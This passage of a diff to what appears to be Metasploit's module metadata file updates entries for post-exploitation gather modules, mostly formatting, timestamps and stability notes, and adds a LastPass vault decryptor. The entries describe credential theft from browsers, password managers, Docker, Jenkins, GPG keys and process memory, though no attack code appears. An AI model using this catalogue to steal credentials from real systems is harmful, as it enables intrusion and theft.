"crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/chrome_cookies": { "name": "Chrome Gather Cookies", "fullname": "post/multi/gather/chrome_cookies", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267021,16 +267763,14 @@ "mangopdf " ], "description": "Read all cookies from the Default Chrome profile of the target user.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/chrome_cookies.rb", "is_install_path": true, "ref_name": "multi/gather/chrome_cookies", @@ -267038,22 +267778,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dbeaver": { "name": "Gather Dbeaver Passwords", "fullname": "post/multi/gather/dbeaver", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267070,7 +267811,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-07-24 16:42:43 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/dbeaver.rb", "is_install_path": true, "ref_name": "multi/gather/dbeaver", @@ -267079,14 +267820,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -267094,16 +267831,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dbvis_enum": { "name": "Multi Gather DbVisualizer Connections Settings", "fullname": "post/multi/gather/dbvis_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267111,16 +267844,14 @@ "David Bloom" ], "description": "DbVisualizer stores the user database configuration in dbvis.xml.\n This module retrieves the connections settings from this file and decrypts the encrypted passwords.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/dbvis_enum.rb", "is_install_path": true, "ref_name": "multi/gather/dbvis_enum", @@ -267128,22 +267859,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_bruteforce": { "name": "Multi Gather DNS Forward Lookup Bruteforce", "fullname": "post/multi/gather/dns_bruteforce", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267151,16 +267883,14 @@ "Carlos Perez " ], "description": "Brute force subdomains and hostnames via wordlist.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/dns_bruteforce.rb", "is_install_path": true, "ref_name": "multi/gather/dns_bruteforce", @@ -267168,22 +267898,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_reverse_lookup": { "name": "Multi Gather DNS Reverse Lookup Scan", "fullname": "post/multi/gather/dns_reverse_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267191,16 +267922,14 @@ "Carlos Perez " ], "description": "Performs DNS reverse lookup using the OS included DNS query command.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/dns_reverse_lookup.rb", "is_install_path": true, "ref_name": "multi/gather/dns_reverse_lookup", @@ -267208,22 +267937,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/dns_srv_lookup": { "name": "Multi Gather DNS Service Record Lookup Scan", "fullname": "post/multi/gather/dns_srv_lookup", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267231,16 +267961,14 @@ "Carlos Perez " ], "description": "Enumerates known SRV Records for a given domain using target host DNS query tool.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/dns_srv_lookup.rb", "is_install_path": true, "ref_name": "multi/gather/dns_srv_lookup", @@ -267248,22 +267976,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/docker_creds": { "name": "Multi Gather Docker Credentials Collection", "fullname": "post/multi/gather/docker_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267271,16 +268000,14 @@ "Flibustier" ], "description": "This module will collect the contents of all users' .docker directories on the targeted\n machine. If the user has already push to docker hub, chances are that the password was\n saved in base64 (default behavior).", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/docker_creds.rb", "is_install_path": true, "ref_name": "multi/gather/docker_creds", @@ -267288,21 +268015,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/electerm": { "name": "Gather electerm Passwords", "fullname": "post/multi/gather/electerm", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267319,7 +268047,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-08-22 22:28:01 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/electerm.rb", "is_install_path": true, "ref_name": "multi/gather/electerm", @@ -267328,14 +268056,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -267343,9 +268067,7 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/enum_hexchat": { "name": "Linux Gather HexChat/XChat Enumeration", @@ -267384,9 +268106,7 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "shell", @@ -267411,9 +268131,7 @@ "post_multi/gather/enum_software_versions": { "name": "Multiplatform Installed Software Version Enumerator", "fullname": "post/multi/gather/enum_software_versions", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267421,9 +268139,7 @@ "gwillcox-r7" ], "description": "This module, when run against a compromised machine, will gather details on all installed software,\n including their versions and if available, when they were installed, and will save it into a loot file for later use.\n Users can then use this loot file to determine what additional vulnerabilites may affect the target machine.\n\n Note that for Linux systems, software enumeration is done via package managers. As a result the results may\n not reflect all of the available software on the system simply because users may have installed additional\n software from alternative sources such as source code that these package managers are not aware of.", - "references": [ - - ], + "references": [], "platform": "Android,BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, @@ -267444,25 +268160,19 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/enum_vbox": { "name": "Multi Gather VirtualBox VM Enumeration", "fullname": "post/multi/gather/enum_vbox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267470,16 +268180,14 @@ "theLightCosine " ], "description": "This module will attempt to enumerate any VirtualBox VMs on the target machine.\n Due to the nature of VirtualBox, this module can only enumerate VMs registered\n for the current user, therefore, this module needs to be invoked from a user context.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/enum_vbox.rb", "is_install_path": true, "ref_name": "multi/gather/enum_vbox", @@ -267487,22 +268195,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/env": { "name": "Multi Gather Generic Operating System Environment Settings", "fullname": "post/multi/gather/env", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267511,9 +268220,7 @@ "egypt " ], "description": "This module prints out the operating system environment variables.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix,Windows", "arch": "", "rport": null, @@ -267531,12 +268238,8 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "powershell", @@ -267544,16 +268247,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/fetchmailrc_creds": { "name": "UNIX Gather .fetchmailrc Credentials", "fullname": "post/multi/gather/fetchmailrc_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267561,16 +268260,14 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for IMAP, POP and other mail\n retrieval protocols in fetchmail's .fetchmailrc", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/fetchmailrc_creds.rb", "is_install_path": true, "ref_name": "multi/gather/fetchmailrc_creds", @@ -267578,21 +268275,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/filezilla_client_cred": { "name": "Multi Gather FileZilla FTP Client Credential Collection", "fullname": "post/multi/gather/filezilla_client_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267601,16 +268299,14 @@ "Carlos Perez " ], "description": "This module will collect credentials from the FileZilla FTP client if it is installed.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/filezilla_client_cred.rb", "is_install_path": true, "ref_name": "multi/gather/filezilla_client_cred", @@ -267618,22 +268314,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/find_vmx": { "name": "Multi Gather VMWare VM Identification", "fullname": "post/multi/gather/find_vmx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267641,16 +268338,14 @@ "theLightCosine " ], "description": "This module will attempt to find any VMWare virtual machines stored on the target.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/find_vmx.rb", "is_install_path": true, "ref_name": "multi/gather/find_vmx", @@ -267658,22 +268353,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/firefox_creds": { "name": "Multi Gather Firefox Signon Credential Collection", "fullname": "post/multi/gather/firefox_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267683,16 +268379,14 @@ "g0tmi1k" ], "description": "This module will collect credentials from the Firefox web browser if it is\n installed on the targeted machine. Additionally, cookies are downloaded. Which\n could potentially yield valid web sessions.\n\n Firefox stores passwords within the signons.sqlite database file. There is also a\n keys3.db file which contains the key for decrypting these passwords. In cases where\n a Master Password has not been set, the passwords can easily be decrypted using\n 3rd party tools or by setting the DECRYPT option to true. Using the latter often\n needs root privileges. Also be warned that if your session dies in the middle of the\n file renaming process, this could leave Firefox in a non working state. If a\n Master Password was used the only option would be to bruteforce.\n\n Useful 3rd party tools:\n + firefox_decrypt (https://github.com/Unode/firefox_decrypt)\n + pswRecovery4Moz (https://github.com/philsmd/pswRecovery4Moz)", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/firefox_creds.rb", "is_install_path": true, "ref_name": "multi/gather/firefox_creds", @@ -267700,22 +268394,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/gpg_creds": { "name": "Multi Gather GnuPG Credentials Collection", "fullname": "post/multi/gather/gpg_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267724,16 +268419,14 @@ "Henry Hoggard" ], "description": "This module will collect the contents of all users' .gnupg directories on the targeted\n machine. Password protected secret keyrings can be cracked with John the Ripper (JtR).", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/gpg_creds.rb", "is_install_path": true, "ref_name": "multi/gather/gpg_creds", @@ -267741,22 +268434,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/grub_creds": { "name": "Gather GRUB Password", "fullname": "post/multi/gather/grub_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267775,7 +268469,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/grub_creds.rb", "is_install_path": true, "ref_name": "multi/gather/grub_creds", @@ -267783,22 +268477,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/irssi_creds": { "name": "Multi Gather IRSSI IRC Password(s)", "fullname": "post/multi/gather/irssi_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267806,16 +268501,14 @@ "Jonathan Claudius " ], "description": "This module grabs IRSSI IRC credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/irssi_creds.rb", "is_install_path": true, "ref_name": "multi/gather/irssi_creds", @@ -267823,38 +268516,37 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/jboss_gather": { - "name": "Jboss Credential Collector", + "name": "JBoss Credential Collector", "fullname": "post/multi/gather/jboss_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Koen Riepe (koen.riepe " ], - "description": "This module can be used to extract the Jboss admin passwords for version 4,5 and 6.", - "references": [ - - ], + "description": "This module can be used to extract the JBoss admin passwords for version 4, 5 and 6.", + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/jboss_gather.rb", "is_install_path": true, "ref_name": "multi/gather/jboss_gather", @@ -267862,21 +268554,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/jenkins_gather": { "name": "Jenkins Credential Collector", "fullname": "post/multi/gather/jenkins_gather", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267884,16 +268577,14 @@ "thesubtlety" ], "description": "This module can be used to extract saved Jenkins credentials, user\n tokens, SSH keys, and secrets. Interesting files will be stored in\n loot along with combined csv output.", - "references": [ - - ], + "references": [], "platform": "Linux,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-18 14:17:15 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/jenkins_gather.rb", "is_install_path": true, "ref_name": "multi/gather/jenkins_gather", @@ -267901,22 +268592,66 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] + }, + "post_multi/gather/lastpass_creds": { + "name": "LastPass Vault Decryptor", + "fullname": "post/multi/gather/lastpass_creds", + "aliases": [], + "rank": 300, + "disclosure_date": null, + "type": "post", + "author": [ + "Alberto Garcia Illera ", + "Martin Vigo ", + "Jon Hart " + ], + "description": "This module extracts and decrypts LastPass master login accounts and passwords,\n encryption keys, 2FA tokens and all the vault passwords", + "references": [ + "URL-http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it" + ], + "platform": "Linux,OSX,Unix,Windows", + "arch": "", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2025-06-20 13:20:44 +0000", + "path": "/modules/post/multi/gather/lastpass_creds.rb", + "is_install_path": true, + "ref_name": "multi/gather/lastpass_creds", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] + }, + "session_types": [ + "meterpreter", + "shell" + ], + "needs_cleanup": null, + "actions": [] }, "post_multi/gather/maven_creds": { "name": "Multi Gather Maven Credentials Collection", "fullname": "post/multi/gather/maven_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267924,16 +268659,14 @@ "elenoir" ], "description": "This module will collect the contents of all users settings.xml on the targeted\n machine.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/maven_creds.rb", "is_install_path": true, "ref_name": "multi/gather/maven_creds", @@ -267941,22 +268674,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/memory_search": { "name": "Memory Search", "fullname": "post/multi/gather/memory_search", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -267964,9 +268698,7 @@ "sjanusz-r7" ], "description": "This module allows for searching the memory space of running processes for\n potentially sensitive data such as passwords.", - "references": [ - - ], + "references": [], "platform": "Linux,OSX,Unix,Windows", "arch": "x86, x64", "rport": null, @@ -267984,34 +268716,26 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/minio_client": { "name": "Gather MinIO Client Key", "fullname": "post/multi/gather/minio_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", "author": [ "Kali-Team " ], - "description": "This is a module that searches for MinIO Client credentials on a windows remote host.", + "description": "This module searches for MinIO Client credentials on a Windows host.", "references": [ "URL-https://blog.kali-team.cn/Metasploit-MinIO-Client-7d940c60ae8545aeaa29c96536dda855" ], @@ -268021,7 +268745,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-11 14:30:23 +0000", + "mod_time": "2025-05-13 09:23:28 +0000", "path": "/modules/post/multi/gather/minio_client.rb", "is_install_path": true, "ref_name": "multi/gather/minio_client", @@ -268030,14 +268754,10 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -268045,16 +268765,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/multi_command": { "name": "Multi Gather Run Shell Command Resource File", "fullname": "post/multi/gather/multi_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268062,16 +268778,14 @@ "Carlos Perez " ], "description": "This module will read shell commands from a resource file and\n execute the commands in the specified Meterpreter or shell session.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/multi_command.rb", "is_install_path": true, "ref_name": "multi/gather/multi_command", @@ -268079,21 +268793,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/netrc_creds": { "name": "UNIX Gather .netrc Credentials", "fullname": "post/multi/gather/netrc_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268101,16 +268816,14 @@ "Jon Hart " ], "description": "Post Module to obtain credentials saved for FTP and other services in .netrc", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/netrc_creds.rb", "is_install_path": true, "ref_name": "multi/gather/netrc_creds", @@ -268118,21 +268831,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/pgpass_creds": { "name": "Multi Gather pgpass Credentials", "fullname": "post/multi/gather/pgpass_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268140,16 +268854,14 @@ "Zach Grace " ], "description": "This module will collect the contents of all users' .pgpass or pgpass.conf\n file and parse them for credentials.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/pgpass_creds.rb", "is_install_path": true, "ref_name": "multi/gather/pgpass_creds", @@ -268157,22 +268869,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/pidgin_cred": { "name": "Multi Gather Pidgin Instant Messenger Credential Collection", "fullname": "post/multi/gather/pidgin_cred", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268181,16 +268894,14 @@ "Carlos Perez " ], "description": "This module will collect credentials from the Pidgin IM client if it is installed.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/pidgin_cred.rb", "is_install_path": true, "ref_name": "multi/gather/pidgin_cred", @@ -268198,22 +268909,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/ping_sweep": { "name": "Multi Gather Ping Sweep", "fullname": "post/multi/gather/ping_sweep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268221,16 +268933,14 @@ "Carlos Perez " ], "description": "Performs IPv4 ping sweep using the OS included ping command.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Solaris,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/ping_sweep.rb", "is_install_path": true, "ref_name": "multi/gather/ping_sweep", @@ -268238,22 +268948,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/remmina_creds": { "name": "UNIX Gather Remmina Credentials", "fullname": "post/multi/gather/remmina_creds", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268261,16 +268972,14 @@ "Jon Hart " ], "description": "Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.\n These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)\n stored in (relatively) plain text in a file that must be properly protected.", - "references": [ - - ], + "references": [], "platform": "BSD,Linux,OSX,Unix", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/remmina_creds.rb", "is_install_path": true, "ref_name": "multi/gather/remmina_creds", @@ -268278,22 +268987,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_multi/gather/resolve_hosts": { "name": "Multi Gather Resolve Hosts", "fullname": "post/multi/gather/resolve_hosts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -268301,16 +269011,14 @@ "Ben Campbell " ], "description": "Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host.", - "references": [ - - ], + "references": [], "platform": "Python,Windows", "arch": "", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-02-08 13:47:34 +0000", + "mod_time": "2025-04-30 20:15:08 +0000", "path": "/modules/post/multi/gather/resolve_hosts.rb", "is_install_path": true, 